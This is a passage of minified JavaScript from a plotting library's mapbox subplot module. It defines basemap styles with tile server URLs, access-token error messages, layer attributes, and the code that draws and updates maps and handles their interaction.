"),g={"open-street-map":{id:"osm",version:8,sources:{"plotly-osm-tiles":{type:"raster",attribution:o,tiles:["https://a.tile.openstreetmap.org/{z}/{x}/{y}.png","https://b.tile.openstreetmap.org/{z}/{x}/{y}.png"],tileSize:256}},layers:[{id:"plotly-osm-tiles",type:"raster",source:"plotly-osm-tiles",minzoom:0,maxzoom:22}],glyphs:"https://fonts.openmaptiles.org/{fontstack}/{range}.pbf"},"white-bg":{id:"white-bg",version:8,sources:{},layers:[{id:"white-bg",type:"background",paint:{"background-color":"#FFFFFF"},minzoom:0,maxzoom:22}],glyphs:"https://fonts.openmaptiles.org/{fontstack}/{range}.pbf"},"carto-positron":{id:"carto-positron",version:8,sources:{"plotly-carto-positron":{type:"raster",attribution:L,tiles:["https://cartodb-basemaps-c.global.ssl.fastly.net/light_all/{z}/{x}/{y}.png"],tileSize:256}},layers:[{id:"plotly-carto-positron",type:"raster",source:"plotly-carto-positron",minzoom:0,maxzoom:22}],glyphs:"https://fonts.openmaptiles.org/{fontstack}/{range}.pbf"},"carto-darkmatter":{id:"carto-darkmatter",version:8,sources:{"plotly-carto-darkmatter":{type:"raster",attribution:L,tiles:["https://cartodb-basemaps-c.global.ssl.fastly.net/dark_all/{z}/{x}/{y}.png"],tileSize:256}},layers:[{id:"plotly-carto-darkmatter",type:"raster",source:"plotly-carto-darkmatter",minzoom:0,maxzoom:22}],glyphs:"https://fonts.openmaptiles.org/{fontstack}/{range}.pbf"},"stamen-terrain":{id:"stamen-terrain",version:8,sources:{"plotly-stamen-terrain":{type:"raster",attribution:S,tiles:["https://stamen-tiles.a.ssl.fastly.net/terrain/{z}/{x}/{y}.png"],tileSize:256}},layers:[{id:"plotly-stamen-terrain",type:"raster",source:"plotly-stamen-terrain",minzoom:0,maxzoom:22}],glyphs:"https://fonts.openmaptiles.org/{fontstack}/{range}.pbf"},"stamen-toner":{id:"stamen-toner",version:8,sources:{"plotly-stamen-toner":{type:"raster",attribution:S,tiles:["https://stamen-tiles.a.ssl.fastly.net/toner/{z}/{x}/{y}.png"],tileSize:256}},layers:[{id:"plotly-stamen-toner",type:"raster",source:"plotly-stamen-toner",minzoom:0,maxzoom:22}],glyphs:"https://fonts.openmaptiles.org/{fontstack}/{range}.pbf"},"stamen-watercolor":{id:"stamen-watercolor",version:8,sources:{"plotly-stamen-watercolor":{type:"raster",attribution:d,tiles:["https://stamen-tiles.a.ssl.fastly.net/watercolor/{z}/{x}/{y}.png"],tileSize:256}},layers:[{id:"plotly-stamen-watercolor",type:"raster",source:"plotly-stamen-watercolor",minzoom:0,maxzoom:22}],glyphs:"https://fonts.openmaptiles.org/{fontstack}/{range}.pbf"}},t=M(g);te.exports={requiredVersion:P,styleUrlPrefix:"mapbox://styles/mapbox/",styleUrlSuffix:"v9",styleValuesMapbox:["basic","streets","outdoors","light","dark","satellite","satellite-streets"],styleValueDflt:"basic",stylesNonMapbox:g,styleValuesNonMapbox:t,traceLayerPrefix:"plotly-trace-layer-",layoutLayerPrefix:"plotly-layout-layer-",wrongVersionErrorMsg:["Your custom plotly.js bundle is not using the correct mapbox-gl version","Please install mapbox-gl@"+P+"."].join(`
`),noAccessTokenErrorMsg:["Missing Mapbox access token.","Mapbox trace type require a Mapbox access token to be registered.","For example:","  Plotly.newPlot(gd, data, layout, { mapboxAccessToken: 'my-access-token' });","More info here: https://www.mapbox.com/help/define-access-token/"].join(`
`),missingStyleErrorMsg:["No valid mapbox style found, please set `mapbox.style` to one of:",t.join(", "),"or register a Mapbox access token to use a Mapbox-served style."].join(`
`),multipleTokensErrorMsg:["Set multiple mapbox access token across different mapbox subplot,","using first token found as mapbox-gl does not allow multipleaccess tokens on the same page."].join(`
`),mapOnErrorMsg:"Mapbox error.",mapboxLogo:{path0:"m 10.5,1.24 c -5.11,0 -9.25,4.15 -9.25,9.25 0,5.1 4.15,9.25 9.25,9.25 5.1,0 9.25,-4.15 9.25,-9.25 0,-5.11 -4.14,-9.25 -9.25,-9.25 z m 4.39,11.53 c -1.93,1.93 -4.78,2.31 -6.7,2.31 -0.7,0 -1.41,-0.05 -2.1,-0.16 0,0 -1.02,-5.64 2.14,-8.81 0.83,-0.83 1.95,-1.28 3.13,-1.28 1.27,0 2.49,0.51 3.39,1.42 1.84,1.84 1.89,4.75 0.14,6.52 z",path1:"M 10.5,-0.01 C 4.7,-0.01 0,4.7 0,10.49 c 0,5.79 4.7,10.5 10.5,10.5 5.8,0 10.5,-4.7 10.5,-10.5 C 20.99,4.7 16.3,-0.01 10.5,-0.01 Z m 0,19.75 c -5.11,0 -9.25,-4.15 -9.25,-9.25 0,-5.1 4.14,-9.26 9.25,-9.26 5.11,0 9.25,4.15 9.25,9.25 0,5.13 -4.14,9.26 -9.25,9.26 z",path2:"M 14.74,6.25 C 12.9,4.41 9.98,4.35 8.23,6.1 5.07,9.27 6.09,14.91 6.09,14.91 c 0,0 5.64,1.02 8.81,-2.14 C 16.64,11 16.59,8.09 14.74,6.25 Z m -2.27,4.09 -0.91,1.87 -0.9,-1.87 -1.86,-0.91 1.86,-0.9 0.9,-1.87 0.91,1.87 1.86,0.9 z",polygon:"11.56,12.21 10.66,10.34 8.8,9.43 10.66,8.53 11.56,6.66 12.47,8.53 14.33,9.43 12.47,10.34"},styleRules:{map:"overflow:hidden;position:relative;","missing-css":"display:none;",canary:"background-color:salmon;","ctrl-bottom-left":"position: absolute; pointer-events: none; z-index: 2; bottom: 0; left: 0;","ctrl-bottom-right":"position: absolute; pointer-events: none; z-index: 2; right: 0; bottom: 0;",ctrl:"clear: both; pointer-events: auto; transform: translate(0, 0);","ctrl-attrib.mapboxgl-compact .mapboxgl-ctrl-attrib-inner":"display: none;","ctrl-attrib.mapboxgl-compact:hover .mapboxgl-ctrl-attrib-inner":"display: block; margin-top:2px","ctrl-attrib.mapboxgl-compact:hover":"padding: 2px 24px 2px 4px; visibility: visible; margin-top: 6px;","ctrl-attrib.mapboxgl-compact::after":`content: ""; cursor: pointer; position: absolute; background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"%3E %3Cpath fill="%23333333" fill-rule="evenodd" d="M4,10a6,6 0 1,0 12,0a6,6 0 1,0 -12,0 M9,7a1,1 0 1,0 2,0a1,1 0 1,0 -2,0 M9,10a1,1 0 1,1 2,0l0,3a1,1 0 1,1 -2,0"/%3E %3C/svg%3E'); background-color: rgba(255, 255, 255, 0.5); width: 24px; height: 24px; box-sizing: border-box; border-radius: 12px;`,"ctrl-attrib.mapboxgl-compact":"min-height: 20px; padding: 0; margin: 10px; position: relative; background-color: #fff; border-radius: 3px 12px 12px 3px;","ctrl-bottom-right > .mapboxgl-ctrl-attrib.mapboxgl-compact::after":"bottom: 0; right: 0","ctrl-bottom-left > .mapboxgl-ctrl-attrib.mapboxgl-compact::after":"bottom: 0; left: 0","ctrl-bottom-left .mapboxgl-ctrl":"margin: 0 0 10px 10px; float: left;","ctrl-bottom-right .mapboxgl-ctrl":"margin: 0 10px 10px 0; float: right;","ctrl-attrib":"color: rgba(0, 0, 0, 0.75); text-decoration: none; font-size: 12px","ctrl-attrib a":"color: rgba(0, 0, 0, 0.75); text-decoration: none; font-size: 12px","ctrl-attrib a:hover":"color: inherit; text-decoration: underline;","ctrl-attrib .mapbox-improve-map":"font-weight: bold; margin-left: 2px;","attrib-empty":"display: none;","ctrl-logo":`display:block; width: 21px; height: 21px; background-image: url('data:image/svg+xml;charset=utf-8,%3C?xml version="1.0" encoding="utf-8"?%3E %3Csvg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 21 21" style="enable-background:new 0 0 21 21;" xml:space="preserve"%3E%3Cg transform="translate(0,0.01)"%3E%3Cpath d="m 10.5,1.24 c -5.11,0 -9.25,4.15 -9.25,9.25 0,5.1 4.15,9.25 9.25,9.25 5.1,0 9.25,-4.15 9.25,-9.25 0,-5.11 -4.14,-9.25 -9.25,-9.25 z m 4.39,11.53 c -1.93,1.93 -4.78,2.31 -6.7,2.31 -0.7,0 -1.41,-0.05 -2.1,-0.16 0,0 -1.02,-5.64 2.14,-8.81 0.83,-0.83 1.95,-1.28 3.13,-1.28 1.27,0 2.49,0.51 3.39,1.42 1.84,1.84 1.89,4.75 0.14,6.52 z" style="opacity:0.9;fill:%23ffffff;enable-background:new" class="st0"/%3E%3Cpath d="M 10.5,-0.01 C 4.7,-0.01 0,4.7 0,10.49 c 0,5.79 4.7,10.5 10.5,10.5 5.8,0 10.5,-4.7 10.5,-10.5 C 20.99,4.7 16.3,-0.01 10.5,-0.01 Z m 0,19.75 c -5.11,0 -9.25,-4.15 -9.25,-9.25 0,-5.1 4.14,-9.26 9.25,-9.26 5.11,0 9.25,4.15 9.25,9.25 0,5.13 -4.14,9.26 -9.25,9.26 z" style="opacity:0.35;enable-background:new" class="st1"/%3E%3Cpath d="M 14.74,6.25 C 12.9,4.41 9.98,4.35 8.23,6.1 5.07,9.27 6.09,14.91 6.09,14.91 c 0,0 5.64,1.02 8.81,-2.14 C 16.64,11 16.59,8.09 14.74,6.25 Z m -2.27,4.09 -0.91,1.87 -0.9,-1.87 -1.86,-0.91 1.86,-0.9 0.9,-1.87 0.91,1.87 1.86,0.9 z" style="opacity:0.35;enable-background:new" class="st1"/%3E%3Cpolygon points="11.56,12.21 10.66,10.34 8.8,9.43 10.66,8.53 11.56,6.66 12.47,8.53 14.33,9.43 12.47,10.34 " style="opacity:0.9;fill:%23ffffff;enable-background:new" class="st0"/%3E%3C/g%3E%3C/svg%3E')`}}},13056:function(te,Z,e){var M=e(71828);te.exports=function(o,L){var S=o.split(" "),d=S[0],g=S[1],t=M.isArrayOrTypedArray(L)?M.mean(L):L,r=.5+t/100,f=1.5+t/100,a=["",""],l=[0,0];switch(d){case"top":a[0]="top",l[1]=-f;break;case"bottom":a[0]="bottom",l[1]=f;break}switch(g){case"left":a[1]="right",l[0]=-r;break;case"right":a[1]="left",l[0]=r;break}var u;return a[0]&&a[1]?u=a.join("-"):a[0]?u=a[0]:a[1]?u=a[1]:u="center",{anchor:u,offset:l}}},50101:function(te,Z,e){var M=e(44517),P=e(71828),o=P.strTranslate,L=P.strScale,S=e(27659).AU,d=e(77922),g=e(39898),t=e(91424),r=e(63893),f=e(10481),a="mapbox",l=Z.constants=e(77734);Z.name=a,Z.attr="subplot",Z.idRoot=a,Z.idRegex=Z.attrRegex=P.counterRegex(a),Z.attributes={subplot:{valType:"subplotid",dflt:"mapbox",editType:"calc"}},Z.layoutAttributes=e(23585),Z.supplyLayoutDefaults=e(77882),Z.plot=function(c){var b=c._fullLayout,h=c.calcdata,i=b._subplots[a];if(M.version!==l.requiredVersion)throw new Error(l.wrongVersionErrorMsg);var v=u(c,i);M.accessToken=v;for(var T=0;T<i.length;T++){var w=i[T],E=S(h,a,w),p=b[w],A=p._subplot;A||(A=new f(c,w),b[w]._subplot=A),A.viewInitial||(A.viewInitial={center:P.extendFlat({},p.center),zoom:p.zoom,bearing:p.bearing,pitch:p.pitch}),A.plot(E,b,c._promises)}},Z.clean=function(y,c,b,h){for(var i=h._subplots[a]||[],v=0;v<i.length;v++){var T=i[v];!c[T]&&h[T]._subplot&&h[T]._subplot.destroy()}},Z.toSVG=function(y){for(var c=y._fullLayout,b=c._subplots[a],h=c._size,i=0;i<b.length;i++){var v=c[b[i]],T=v.domain,w=v._subplot,E=w.toImage("png"),p=c._glimages.append("svg:image");p.attr({xmlns:d.svg,"xlink:href":E,x:h.l+h.w*T.x[0],y:h.t+h.h*(1-T.y[1]),width:h.w*(T.x[1]-T.x[0]),height:h.h*(T.y[1]-T.y[0]),preserveAspectRatio:"none"});var A=g.select(v._subplot.div),m=A.select(".mapboxgl-ctrl-logo").node().offsetParent===null;if(!m){var n=c._glimages.append("g");n.attr("transform",o(h.l+h.w*T.x[0]+10,h.t+h.h*(1-T.y[0])-31)),n.append("path").attr("d",l.mapboxLogo.path0).style({opacity:.9,fill:"#ffffff","enable-background":"new"}),n.append("path").attr("d",l.mapboxLogo.path1).style("opacity",.35).style("enable-background","new"),n.append("path").attr("d",l.mapboxLogo.path2).style("opacity",.35).style("enable-background","new"),n.append("polygon").attr("points",l.mapboxLogo.polygon).style({opacity:.9,fill:"#ffffff","enable-background":"new"})}var C=A.select(".mapboxgl-ctrl-attrib").text().replace("Improve this map",""),x=c._glimages.append("g"),I=x.append("text");I.text(C).classed("static-attribution",!0).attr({"font-size":12,"font-family":"Arial",color:"rgba(0, 0, 0, 0.75)","text-anchor":"end","data-unformatted":C});var k=t.bBox(I.node()),B=h.w*(T.x[1]-T.x[0]);if(k.width>B/2){var _=C.split("|").join("<br>");I.text(_).attr("data-unformatted",_).call(r.convertToTspans,y),k=t.bBox(I.node())}I.attr("transform",o(-3,-k.height+8)),x.insert("rect",".static-attribution").attr({x:-k.width-6,y:-k.height-3,width:k.width+6,height:k.height+3,fill:"rgba(255, 255, 255, 0.75)"});var F=1;k.width+6>B&&(F=B/(k.width+6));var O=[h.l+h.w*T.x[1],h.t+h.h*(1-T.y[0])];x.attr("transform",o(O[0],O[1])+L(F))}};function u(y,c){var b=y._fullLayout,h=y._context;if(h.mapboxAccessToken==="")return"";for(var i=[],v=[],T=!1,w=!1,E=0;E<c.length;E++){var p=b[c[E]],A=p.accesstoken;s(p.style)&&(A?P.pushUnique(i,A):(s(p._input.style)&&(P.error("Uses Mapbox map style, but did not set an access token."),T=!0),w=!0)),A&&P.pushUnique(v,A)}if(w){var m=T?l.noAccessTokenErrorMsg:l.missingStyleErrorMsg;throw P.error(m),new Error(m)}return i.length?(i.length>1&&P.warn(l.multipleTokensErrorMsg),i[0]):(v.length&&P.log(["Listed mapbox access token(s)",v.join(","),"but did not use a Mapbox map style, ignoring token(s)."].join(" ")),"")}function s(y){return typeof y=="string"&&(l.styleValuesMapbox.indexOf(y)!==-1||y.indexOf("mapbox://")===0)}Z.updateFx=function(y){for(var c=y._fullLayout,b=c._subplots[a],h=0;h<b.length;h++){var i=c[b[h]]._subplot;i.updateFx(c)}}},67911:function(te,Z,e){var M=e(71828),P=e(63893).sanitizeHTML,o=e(13056),L=e(77734);function S(f,a){this.subplot=f,this.uid=f.uid+"-"+a,this.index=a,this.idSource="source-"+this.uid,this.idLayer=L.layoutLayerPrefix+this.uid,this.sourceType=null,this.source=null,this.layerType=null,this.below=null,this.visible=!1}var d=S.prototype;d.update=function(a){this.visible?this.needsNewImage(a)?this.updateImage(a):this.needsNewSource(a)?(this.removeLayer(),this.updateSource(a),this.updateLayer(a)):this.needsNewLayer(a)?this.updateLayer(a):this.updateStyle(a):(this.updateSource(a),this.updateLayer(a)),this.visible=g(a)},d.needsNewImage=function(f){var a=this.subplot.map;return a.getSource(this.idSource)&&this.sourceType==="image"&&f.sourcetype==="image"&&(this.source!==f.source||JSON.stringify(this.coordinates)!==JSON.stringify(f.coordinates))},d.needsNewSource=function(f){return this.sourceType!==f.sourcetype||JSON.stringify(this.source)!==JSON.stringify(f.source)||this.layerType!==f.type},d.needsNewLayer=function(f){return this.layerType!==f.type||this.below!==this.subplot.belowLookup["layout-"+this.index]},d.lookupBelow=function(){return this.subplot.belowLookup["layout-"+this.index]},d.updateImage=function(f){var a=this.subplot.map;a.getSource(this.idSource).updateImage({url:f.source,coordinates:f.coordinates});var l=this.findFollowingMapboxLayerId(this.lookupBelow());l!==null&&this.subplot.map.moveLayer(this.idLayer,l)},d.updateSource=function(f){var a=this.subplot.map;if(a.getSource(this.idSource)&&a.removeSource(this.idSource),this.sourceType=f.sourcetype,this.source=f.source,!!g(f)){var l=r(f);a.addSource(this.idSource,l)}},d.findFollowingMapboxLayerId=function(f){if(f==="traces")for(var a=this.subplot.getMapLayers(),l=0;l<a.length;l++){var u=a[l].id;if(typeof u=="string"&&u.indexOf(L.traceLayerPrefix)===0){f=u;break}}return f},d.updateLayer=function(f){var a=this.subplot,l=t(f),u=this.lookupBelow(),s=this.findFollowingMapboxLayerId(u);this.removeLayer(),g(f)&&a.addLayer({id:this.idLayer,source:this.idSource,"source-layer":f.sourcelayer||"",type:f.type,minzoom:f.minzoom,maxzoom:f.maxzoom,layout:l.layout,paint:l.paint},s),this.layerType=f.type,this.below=u},d.updateStyle=function(f){if(g(f)){var a=t(f);this.subplot.setOptions(this.idLayer,"setLayoutProperty",a.layout),this.subplot.setOptions(this.idLayer,"setPaintProperty",a.paint)}},d.removeLayer=function(){var f=this.subplot.map;f.getLayer(this.idLayer)&&f.removeLayer(this.idLayer)},d.dispose=function(){var f=this.subplot.map;f.getLayer(this.idLayer)&&f.removeLayer(this.idLayer),f.getSource(this.idSource)&&f.removeSource(this.idSource)};function g(f){if(!f.visible)return!1;var a=f.source;if(Array.isArray(a)&&a.length>0){for(var l=0;l<a.length;l++)if(typeof a[l]!="string"||a[l].length===0)return!1;return!0}return M.isPlainObject(a)||typeof a=="string"&&a.length>0}function t(f){var a={},l={};switch(f.type){case"circle":M.extendFlat(l,{"circle-radius":f.circle.radius,"circle-color":f.color,"circle-opacity":f.opacity});break;case"line":M.extendFlat(l,{"line-width":f.line.width,"line-color":f.color,"line-opacity":f.opacity,"line-dasharray":f.line.dash});break;case"fill":M.extendFlat(l,{"fill-color":f.color,"fill-outline-color":f.fill.outlinecolor,"fill-opacity":f.opacity});break;case"symbol":var u=f.symbol,s=o(u.textposition,u.iconsize);M.extendFlat(a,{"icon-image":u.icon+"-15","icon-size":u.iconsize/10,"text-field":u.text,"text-size":u.textfont.size,"text-anchor":s.anchor,"text-offset":s.offset,"symbol-placement":u.placement}),M.extendFlat(l,{"icon-color":f.color,"text-color":u.textfont.color,"text-opacity":f.opacity});break;case"raster":M.extendFlat(l,{"raster-fade-duration":0,"raster-opacity":f.opacity});break}return{layout:a,paint:l}}function r(f){var a=f.sourcetype,l=f.source,u={type:a},s;return a==="geojson"?s="data":a==="vector"?s=typeof l=="string"?"url":"tiles":a==="raster"?(s="tiles",u.tileSize=256):a==="image"&&(s="url",u.coordinates=f.coordinates),u[s]=l,f.sourceattribution&&(u.attribution=P(f.sourceattribution)),u}te.exports=function(a,l,u){var s=new S(a,l);return s.update(u),s}},23585:function(te,Z,e){var M=e(71828),P=e(7901).defaultLine,o=e(27670).Y,L=e(41940),S=e(82196).textposition,d=e(30962).overrideAll,g=e(44467).templatedArray,t=e(77734),r=L({});r.family.dflt="Open Sans Regular, Arial Unicode MS Regular";var f=te.exports=d({_arrayAttrRegexps:[M.counterRegex("mapbox",".layers",!0)],domain:o({name:"mapbox"}),accesstoken:{valType:"string",noBlank:!0,strict:!0},style:{valType:"any",values:t.styleValuesMapbox.concat(t.styleValuesNonMapbox),dflt:t.styleValueDflt},center:{lon:{valType:"number",dflt:0},lat:{valType:"number",dflt:0}},zoom:{valType:"number",dflt:1},bearing:{valType:"number",dflt:0},pitch:{valType:"number",dflt:0},bounds:{west:{valType:"number"},east:{valType:"number"},south:{valType:"number"},north:{valType:"number"}},layers:g("layer",{visible:{valType:"boolean",dflt:!0},sourcetype:{valType:"enumerated",values:["geojson","vector","raster","image"],dflt:"geojson"},source:{valType:"any"},sourcelayer:{valType:"string",dflt:""},sourceattribution:{valType:"string"},type:{valType:"enumerated",values:["circle","line","fill","symbol","raster"],dflt:"circle"},coordinates:{valType:"any"},below:{valType:"string"},color:{valType:"color",dflt:P},opacity:{valType:"number",min:0,max:1,dflt:1},minzoom:{valType:"number",min:0,max:24,dflt:0},maxzoom:{valType:"number",min:0,max:24,dflt:24},circle:{radius:{valType:"number",dflt:15}},line:{width:{valType:"number",dflt:2},dash:{valType:"data_array"}},fill:{outlinecolor:{valType:"color",dflt:P}},symbol:{icon:{valType:"string",dflt:"marker"},iconsize:{valType:"number",dflt:10},text:{valType:"string",dflt:""},placement:{valType:"enumerated",values:["point","line","line-center"],dflt:"point"},textfont:r,textposition:M.extendFlat({},S,{arrayOk:!1})}})},"plot","from-root");f.uirevision={valType:"any",editType:"none"}},77882:function(te,Z,e){var M=e(71828),P=e(49119),o=e(85501),L=e(23585);te.exports=function(t,r,f){P(t,r,f,{type:"mapbox",attributes:L,handleDefaults:S,partition:"y",accessToken:r._mapboxAccessToken})};function S(g,t,r,f){r("accesstoken",f.accessToken),r("style"),r("center.lon"),r("center.lat"),r("zoom"),r("bearing"),r("pitch");var a=r("bounds.west"),l=r("bounds.east"),u=r("bounds.south"),s=r("bounds.north");(a===void 0||l===void 0||u===void 0||s===void 0)&&delete t.bounds,o(g,t,{name:"layers",handleItemDefaults:d}),t._input=g}function d(g,t){function r(y,c){return M.coerce(g,t,L.layers,y,c)}var f=r("visible");if(f){var a=r("sourcetype"),l=a==="raster"||a==="image";r("source"),r("sourceattribution"),a==="vector"&&r("sourcelayer"),a==="image"&&r("coordinates");var u;l&&(u="raster");var s=r("type",u);l&&s!=="raster"&&(s=t.type="raster",M.log("Source types *raster* and *image* must drawn *raster* layer type.")),r("below"),r("color"),r("opacity"),r("minzoom"),r("maxzoom"),s==="circle"&&r("circle.radius"),s==="line"&&(r("line.width"),r("line.dash")),s==="fill"&&r("fill.outlinecolor"),s==="symbol"&&(r("symbol.icon"),r("symbol.iconsize"),r("symbol.text"),M.coerceFont(r,"symbol.textfont"),r("symbol.textposition"),r("symbol.placement"))}}},10481:function(te,Z,e){var M=e(44517),P=e(71828),o=e(41327),L=e(73972),S=e(89298),d=e(28569),g=e(30211),t=e(64505),r=t.drawMode,f=t.selectMode,a=e(47322).prepSelect,l=e(47322).clearOutline,u=e(47322).clearSelectionsCache,s=e(47322).selectOnClick,y=e(77734),c=e(67911);function b(E,p){this.id=p,this.gd=E;var A=E._fullLayout,m=E._context;this.container=A._glcontainer.node(),this.isStatic=m.staticPlot,this.uid=A._uid+"-"+this.id,this.div=null,this.xaxis=null,this.yaxis=null,this.createFramework(A),this.map=null,this.accessToken=null,this.styleObj=null,this.traceHash={},this.layerList=[],this.belowLookup={},this.dragging=!1,this.wheeling=!1}var h=b.prototype;h.plot=function(E,p,A){var m=this,n=p[m.id];m.map&&n.accesstoken!==m.accessToken&&(m.map.remove(),m.map=null,m.styleObj=null,m.traceHash={},m.layerList=[]);var C;m.map?C=new Promise(function(x,I){m.updateMap(E,p,x,I)}):C=new Promise(function(x,I){m.createMap(E,p,x,I)}),A.push(C)},h.createMap=function(E,p,A,m){var n=this,C=p[n.id],x=n.styleObj=v(C.style);n.accessToken=C.accesstoken;var I=C.bounds,k=I?[[I.west,I.south],[I.east,I.north]]:null,B=n.map=new M.Map({container:n.div,style:x.style,center:w(C.center),zoom:C.zoom,bearing:C.bearing,pitch:C.pitch,maxBounds:k,interactive:!n.isStatic,preserveDrawingBuffer:n.isStatic,doubleClickZoom:!1,boxZoom:!1,attributionControl:!1}).addControl(new M.AttributionControl({compact:!0}));B._canvas.style.left="0px",B._canvas.style.top="0px",n.rejectOnError(m),n.isStatic||n.initFx(E,p);var _=[];_.push(new Promise(function(F){B.once("load",F)})),_=_.concat(o.fetchTraceGeoData(E)),Promise.all(_).then(function(){n.fillBelowLookup(E,p),n.updateData(E),n.updateLayout(p),n.resolveOnRender(A)}).catch(m)},h.updateMap=function(E,p,A,m){var n=this,C=n.map,x=p[this.id];n.rejectOnError(m);var I=[],k=v(x.style);JSON.stringify(n.styleObj)!==JSON.stringify(k)&&(n.styleObj=k,C.setStyle(k.style),n.traceHash={},I.push(new Promise(function(B){C.once("styledata",B)}))),I=I.concat(o.fetchTraceGeoData(E)),Promise.all(I).then(function(){n.fillBelowLookup(E,p),n.updateData(E),n.updateLayout(p),n.resolveOnRender(A)}).catch(m)},h.fillBelowLookup=function(E,p){var A=p[this.id],m=A.layers,n,C,x=this.belowLookup={},I=!1;for(n=0;n<E.length;n++){var k=E[n][0].trace,B=k._module;typeof k.below=="string"?C=k.below:B.getBelow&&(C=B.getBelow(k,this)),C===""&&(I=!0),x["trace-"+k.uid]=C||""}for(n=0;n<m.length;n++){var _=m[n];typeof _.below=="string"?C=_.below:I?C="traces":C="",x["layout-"+n]=C}var F={},O,z;for(O in x)C=x[O],F[C]?F[C].push(O):F[C]=[O];for(C in F){var N=F[C];if(N.length>1)for(n=0;n<N.length;n++)O=N[n],O.indexOf("trace-")===0?(z=O.split("trace-")[1],this.traceHash[z]&&(this.traceHash[z].below=null)):O.indexOf("layout-")===0&&(z=O.split("layout-")[1],this.layerList[z]&&(this.layerList[z].below=null))}};var i={choroplethmapbox:0,densitymapbox:1,scattermapbox:2};h.updateData=function(E){var p=this.traceHash,A,m,n,C,x=E.slice().sort(function(F,O){return i[F[0].trace.type]-i[O[0].trace.type]});for(n=0;n<x.length;n++){var I=x[n];m=I[0].trace,A=p[m.uid];var k=!1;A&&(A.type===m.type?(A.update(I),k=!0):A.dispose()),!k&&m._module&&(p[m.uid]=m._module.plot(this,I))}var B=Object.keys(p);e:for(n=0;n<B.length;n++){var _=B[n];for(C=0;C<E.length;C++)if(m=E[C][0].trace,_===m.uid)continue e;A=p[_],A.dispose(),delete p[_]}},h.updateLayout=function(E){var p=this.map,A=E[this.id];!this.dragging&&!this.wheeling&&(p.setCenter(w(A.center)),p.setZoom(A.zoom),p.setBearing(A.bearing),p.setPitch(A.pitch)),this.updateLayers(E),this.updateFramework(E),this.updateFx(E),this.map.resize(),this.gd._context._scrollZoom.mapbox?p.scrollZoom.enable():p.scrollZoom.disable()},h.resolveOnRender=function(E){var p=this.map;p.on("render",function A(){p.loaded()&&(p.off("render",A),setTimeout(E,10))})},h.rejectOnError=function(E){var p=this.map;function A(){E(new Error(y.mapOnErrorMsg))}p.once("error",A),p.once("style.error",A),p.once("source.error",A),p.once("tile.error",A),p.once("layer.error",A)},h.createFramework=function(E){var p=this,A=p.div=document.createElement("div");A.id=p.uid,A.style.position="absolute",p.container.appendChild(A),p.xaxis={_id:"x",c2p:function(m){return p.project(m).x}},p.yaxis={_id:"y",c2p:function(m){return p.project(m).y}},p.updateFramework(E),p.mockAxis={type:"linear",showexponent:"all",exponentformat:"B"},S.setConvert(p.mockAxis,E)},h.initFx=function(E,p){var A=this,m=A.gd,n=A.map;n.on("moveend",function(I){if(A.map){var k=m._fullLayout;if(I.originalEvent||A.wheeling){var B=k[A.id];L.call("_storeDirectGUIEdit",m.layout,k._preGUI,A.getViewEdits(B));var _=A.getView();B._input.center=B.center=_.center,B._input.zoom=B.zoom=_.zoom,B._input.bearing=B.bearing=_.bearing,B._input.pitch=B.pitch=_.pitch,m.emit("plotly_relayout",A.getViewEditsWithDerived(_))}I.originalEvent&&I.originalEvent.type==="mouseup"?A.dragging=!1:A.wheeling&&(A.wheeling=!1),k._rehover&&k._rehover()}}),n.on("wheel",function(){A.wheeling=!0}),n.on("mousemove",function(I){var k=A.div.getBoundingClientRect(),B=[I.originalEvent.offsetX,I.originalEvent.offsetY];I.target.getBoundingClientRect=function(){return k},A.xaxis.p2c=function(){return n.unproject(B).lng},A.yaxis.p2c=function(){return n.unproject(B).lat},m._fullLayout._rehover=function(){m._fullLayout._hoversubplot===A.id&&m._fullLayout[A.id]&&g.hover(m,I,A.id)},g.hover(m,I,A.id),m._fullLayout._hoversubplot=A.id});function C(){g.loneUnhover(p._hoverlayer)}n.on("dragstart",function(){A.dragging=!0,C()}),n.on("zoomstart",C),n.on("mouseout",function(){m._fullLayout._hoversubplot=null});function x(){var I=A.getView();m.emit("plotly_relayouting",A.getViewEditsWithDerived(I))}n.on("drag",x),n.on("zoom",x),n.on("dblclick",function(){var I=m._fullLayout[A.id];L.call("_storeDirectGUIEdit",m.layout,m._fullLayout._preGUI,A.getViewEdits(I));var k=A.viewInitial;n.setCenter(w(k.center)),n.setZoom(k.zoom),n.setBearing(k.bearing),n.setPitch(k.pitch);var B=A.getView();I._input.center=I.center=B.center,I._input.zoom=I.zoom=B.zoom,I._input.bearing=I.bearing=B.bearing,I._input.pitch=I.pitch=B.pitch,m.emit("plotly_doubleclick",null),m.emit("plotly_relayout",A.getViewEditsWithDerived(B))}),A.clearOutline=function(){u(A.dragOptions),l(A.dragOptions.gd)},A.onClickInPanFn=function(I){return function(k){var B=m._fullLayout.clickmode;B.indexOf("select")>-1&&s(k.originalEvent,m,[A.xaxis],[A.yaxis],A.id,I),B.indexOf("event")>-1&&g.click(m,k.originalEvent)}}},h.updateFx=function(E){var p=this,A=p.map,m=p.gd;if(p.isStatic)return;function n(k){var B=p.map.unproject(k);return[B.lng,B.lat]}var C=E.dragmode,x;x=function(k,B){if(B.isRect){var _=k.range={};_[p.id]=[n([B.xmin,B.ymin]),n([B.xmax,B.ymax])]}else{var F=k.lassoPoints={};F[p.id]=B.map(n)}};var I=p.dragOptions;p.dragOptions=P.extendDeep(I||{},{dragmode:E.dragmode,element:p.div,gd:m,plotinfo:{id:p.id,domain:E[p.id].domain,xaxis:p.xaxis,yaxis:p.yaxis,fillRangeItems:x},xaxes:[p.xaxis],yaxes:[p.yaxis],subplot:p.id}),A.off("click",p.onClickInPanHandler),f(C)||r(C)?(A.dragPan.disable(),A.on("zoomstart",p.clearOutline),p.dragOptions.prepFn=function(k,B,_){a(k,B,_,p.dragOptions,C)},d.init(p.dragOptions)):(A.dragPan.enable(),A.off("zoomstart",p.clearOutline),p.div.onmousedown=null,p.div.ontouchstart=null,p.div.removeEventListener("touchstart",p.div._ontouchstart),p.onClickInPanHandler=p.onClickInPanFn(p.dragOptions),A.on("click",p.onClickInPanHandler))},h.updateFramework=function(E){var 